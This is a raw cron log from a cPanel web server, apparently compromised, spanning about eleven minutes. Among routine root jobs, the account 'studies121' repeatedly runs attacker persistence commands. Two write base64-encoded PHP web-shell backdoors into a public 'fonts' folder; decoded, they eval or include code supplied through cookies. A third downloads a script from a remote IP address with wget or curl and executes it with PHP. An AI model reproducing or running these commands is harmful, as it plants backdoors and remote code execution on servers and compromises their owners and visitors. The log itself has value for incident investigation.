Aug 31 21:57:01 ip-184-168-122-23 CROND[2152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:57:01 ip-184-168-122-23 CROND[2151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:57:01 ip-184-168-122-23 CROND[2153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:58:01 ip-184-168-122-23 CROND[2236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:58:01 ip-184-168-122-23 CROND[2238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:58:01 ip-184-168-122-23 CROND[2239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:58:01 ip-184-168-122-23 CROND[2241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:58:01 ip-184-168-122-23 CROND[2242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:59:01 ip-184-168-122-23 CROND[2411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:59:01 ip-184-168-122-23 CROND[2412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:59:01 ip-184-168-122-23 CROND[2416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:59:01 ip-184-168-122-23 CROND[2415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:00:01 ip-184-168-122-23 CROND[2500]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:00:01 ip-184-168-122-23 CROND[2503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:00:01 ip-184-168-122-23 CROND[2505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:00:01 ip-184-168-122-23 CROND[2508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:00:01 ip-184-168-122-23 CROND[2510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:00:01 ip-184-168-122-23 CROND[2509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:00:01 ip-184-168-122-23 CROND[2514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:00:01 ip-184-168-122-23 CROND[2515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:00:01 ip-184-168-122-23 CROND[2516]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 22:01:01 ip-184-168-122-23 CROND[2606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:01:01 ip-184-168-122-23 CROND[2608]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 22:01:01 ip-184-168-122-23 CROND[2610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:01:01 ip-184-168-122-23 CROND[2611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:01:01 ip-184-168-122-23 CROND[2609]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 22:01:01 ip-184-168-122-23 CROND[2612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2609]: starting 0anacron
Aug 31 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2628]: finished 0anacron
Aug 31 22:02:01 ip-184-168-122-23 CROND[2699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:02:01 ip-184-168-122-23 CROND[2701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:02:01 ip-184-168-122-23 CROND[2703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:02:01 ip-184-168-122-23 CROND[2704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:02:01 ip-184-168-122-23 CROND[2705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:03:01 ip-184-168-122-23 CROND[2783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:03:01 ip-184-168-122-23 CROND[2784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:03:01 ip-184-168-122-23 CROND[2785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:03:01 ip-184-168-122-23 CROND[2787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:04:01 ip-184-168-122-23 CROND[2865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:04:01 ip-184-168-122-23 CROND[2867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:04:01 ip-184-168-122-23 CROND[2868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:04:01 ip-184-168-122-23 CROND[2869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:04:01 ip-184-168-122-23 CROND[2870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:05:01 ip-184-168-122-23 CROND[3033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:05:01 ip-184-168-122-23 CROND[3034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:05:01 ip-184-168-122-23 CROND[3037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:05:01 ip-184-168-122-23 CROND[3036]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 22:05:01 ip-184-168-122-23 CROND[3039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:05:01 ip-184-168-122-23 CROND[3040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:05:01 ip-184-168-122-23 CROND[3038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:06:01 ip-184-168-122-23 CROND[3128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:06:01 ip-184-168-122-23 CROND[3130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:06:01 ip-184-168-122-23 CROND[3132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:06:01 ip-184-168-122-23 CROND[3131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:06:01 ip-184-168-122-23 CROND[3133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:07:01 ip-184-168-122-23 CROND[3214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:07:01 ip-184-168-122-23 CROND[3215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:07:01 ip-184-168-122-23 CROND[3216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:07:01 ip-184-168-122-23 CROND[3217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:08:01 ip-184-168-122-23 CROND[3293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:08:01 ip-184-168-122-23 CROND[3295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:08:01 ip-184-168-122-23 CROND[3298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:08:01 ip-184-168-122-23 CROND[3297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:08:01 ip-184-168-122-23 CROND[3296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
